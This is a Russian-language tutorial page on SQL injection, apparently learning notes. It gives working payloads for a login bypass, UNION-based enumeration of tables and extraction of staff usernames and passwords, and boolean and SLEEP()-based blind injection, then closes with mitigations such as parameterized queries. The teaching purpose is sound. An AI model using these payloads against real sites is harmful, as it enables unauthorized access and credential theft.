Перейти к содержанию

SQL Injection

Также известная как SQLi - уязвимость заключающаяся в передаче злонамеренного SQL запроса в БД. Как правило, для SQL Injection легитимный запрос к БД редактируется таким образом, что путем добавления в запрос управляющих конструкций SQL, он превращается в злонамеренный.

Обрати внимание

Для изучения возможности использования SQLi в форму достаточно отправить '

Различают несколько типов SQLi:

  • In-Band SQLi - Самый простой для нахождения и реализации тип уязвимости. Отличительной особенностью является то, что взаимодействие с БД, происходит напрямую, а результат такого взаимодействия виден сразу.

  • Error-Based SQLi - Основан на анализе ошибок отдаваемых СУБД в процессе выполнения запросов.

  • Union-Based SQLi - Предстваляет из себя расширение In-Band типа с использованием команды UNION.

  • Blind-SQLi - Тип уязвимостей при котором в отличии от In-Band SQLi явно не отображается результат взаимодействия с БД.

  • Boolean Based SQLi - Подтип уязвимостей Blind-SQLi при котором ответом на запрос является только true или false

  • Time-Based SQLi- Подтип уязвимостей Blind-SQLi при котором индикатором корректного выполнения запроса является время его исполнения. Для этого используется функция SLEEP()

Подробнее ниже или на странице MySQL

In-Band SQL Injection

Рассмотрим пример: аутентификация пользователей выполняется с помощью следующего запроса:

SELECT * FROM users WHERE username='%username%' and password='%password%' LIMIT 1;
В таком случае, если в поле password записать ' OR 1=1; --, можно будет обойти проверку валидности пароля, так как кавычка в начале строки, эквивалентна вводу пустого пароля, условие 1=1 выполняется всегда, а символ -- являющийся обозначением начала комментария, просто отсечет остальную часть запроса:

SELECT * FROM users WHERE username='' and password='' OR 1=1;--' LIMIT 1;

Другой пример: Представим, что web приложение получает сведения из БД путем запроса:

SELECT * FROM article WHERE id=id_num;

id_num передается в БД через GET запрос https://website.net/article?id=1

В таком случае, простое изменение параметра id откроет нам другую статью.

Union-Based SQL Injection

Продолжаем работать с web приложением из первого примера:

SELECT * FROM article WHERE id=id_num;

Используя UNION можно попробывать получить доступ к другим таблицам БД.

следует помнить, что основным условием объединения вывода из нескольких таблиц через UNION является одинаковое количество столбцов во всех включаемых в запрос таблицах

Перед тем, как получить сведения из интересующих таблиц, нужно сначала узнать какие вообще таблицы присутствуют в БД. Для получения указанной информации придется подёргать БД:

Отправим следующий GET запрос:

GET запрос
https://website.net/article?id=1 UNION SELECT 1
Который преобразует легитимный SQL запрос в следующий:
Полученный SQL запрос
SELECT * FROM article WHERE id = 1 
UNION SELECT 1;
Помня о том, что при использовании UNION количество столбцов должно быть равно, мы скорее всего получим ошибку вида:
SQLSTATE[21000]: 
Cardinality violation: 1222 
The used SELECT statements have a different number of columns
Будем увеличивать количество значений после UNION до тех пор, пока не получим вывод без ошибок. Для простоты представим, что в таблице article было всего 3 столбца, тогда:

GET запрос
https://website.net/article?id=1 UNION SELECT 1,2,3
Полученный SQL запрос
SELECT * FROM article WHERE id = 1 
UNION SELECT 1,2,3;

Далее, не получив ошибку, сделаем так, чтобы данные получаемые из таблицы article не отображались, а выводились бы только наш изменённый UNION. Кроме того, теперь мы можем получить название БД:

GET запрос
https://website.net/article?id=0 UNION SELECT 1,2,database()
Полученный SQL запрос
SELECT * FROM article WHERE id = 0 
UNION SELECT 1,2,database(); 

Получив название БД - DB_NAME, можем получить наименование таблиц. Для этого воспользуемся служебной таблицей information_schema в которой хранятся метаданные БД, а также group_concat() для того, чтобы вывести наименование всех таблиц в одной записи:

GET запрос
https://website.net/article?id=0 UNION SELECT 1,2,group_concat(table_name) \
FROM information_schema.tables WHERE table_schema = 'DB_NAME'
Полученный SQL запрос
SELECT * FROM article WHERE id = 0 
UNION SELECT 1,2,group_concat(table_name) \
FROM information_schema.tables WHERE table_schema = 'DB_NAME'; 

Получив название таблиц, выберем нужную - staff_users и получим наименование её столбцов:

GET запрос
https://website.net/article?id=0 UNION SELECT 1,2,group_concat(column_name) \
FROM information_schema.columns WHERE table_name = 'staff_users'
Полученный SQL запрос
SELECT * FROM article WHERE id=0 UNION SELECT 1,2,group_concat(column_name) \
FROM information_schema.columns WHERE table_name = 'staff_users'

Далее, располагая всей информацией получим заветные сведения:

GET запрос
https://website.net/article?id=0 UNION SELECT 1,2,\
group_concat(username,':',password SEPARATOR '<br>') \
FROM staff_users
Полученный SQL запрос
SELECT * FROM article WHERE id=0 UNION SELECT 1,2,\
group_concat(username,':',password SEPARATOR '<br>') \
FROM staff_users

Boolean Based SQLi

Представим, что легитимный запрос выглядит следующим образом:

GET запрос
https://website.thm/checkuser?username=admin
Полученный SQL запрос
SELECT * FROM users WHERE username = 'admin' LIMIT 1;
Ответ
{taken:true}

В случае, если мы передадим неверное имя пользователя, получим {taken:false}

Воспользуемся этим и применим технику с использованием UNION. Будем увеливать количество значений после UNION до тех пор, пока не получим {taken:true}. Для простоты, представим, что столбцов в users всего 3, тогда:

GET запрос
https://website.thm/checkuser?username=test' union select 1,2,3;--
Полученный SQL запрос
SELECT * FROM users WHERE username = 'test' union select 1,2,3;--' LIMIT 1
Далее, необходимо узнать наименование БД. Исходя из того, что получаемые сообщения ограничены true/false, для получения сведений о какой либо сущности в БД, будем использовать LIKE совместно с %, что позволит нам перебирать значения, до тех пор, пока не получим нужное. Предположим, что название БД начинается с буквы, начнём с а и будем изменять её до тех пор, пока не получим {taken:true}:

GET запрос
https://website.thm/checkuser?username=test' union select 1,2,3 where database() like 'a%';--
Полученный SQL запрос
SELECT * FROM users WHERE username = 'test' union select 1,2,3 WHERE database() LIKE 'a%';--' LIMIT 1

Дальнейшие действия понятны - добавляем буквы, цифры, знаки, пока не получим наименование БД. После чего, таким же способом находим таблицы, столбцы, и необходимые значения.

Time-Based SQLi

Принцип работы с таким типом SQLi аналогичен Blind-based SQLi и заключается в переборе значений, для поиска верных, однако в качестве индикатора успешности выполнения запроса используется функция SLEEP(), успешно выполненная часть запроса с UNION будет выполнятся определенное количество времени:

Time-Based SQLi
SELECT * FROM users WHERE username = 'test' union select SLEEP(5),2,3 WHERE database() LIKE 'a%';--' LIMIT 1

Способы устранения возможности использования SQLi

Все описанные уязвимости могут быть легко купированы, если при разработке архитектуры приложения будут применены следующие простые правила:

  1. Использование подготовленных параметризированных запросов.
    Передавать данные в запрос в явном виде - верная дорога к SQLi. Заранее подготовленные, параметризированные запросы не допустят изменение структуры запроса путем добавления в него комментариев или кавычек. Кроме того, использование таких запросов делать код более читаемым.

  2. Выполнять проверку входных данных.
    Разрешение вводить только допустимые символы исключит всякую вероятность передачи в запрос различных управляющих последовательностей.

  3. Экранирование спецсимволов.
    В случае допустимости ввода спецсимволов в БД, их обязательно нужно экранировать, чтобы СУБД рассматривала их как простой текст.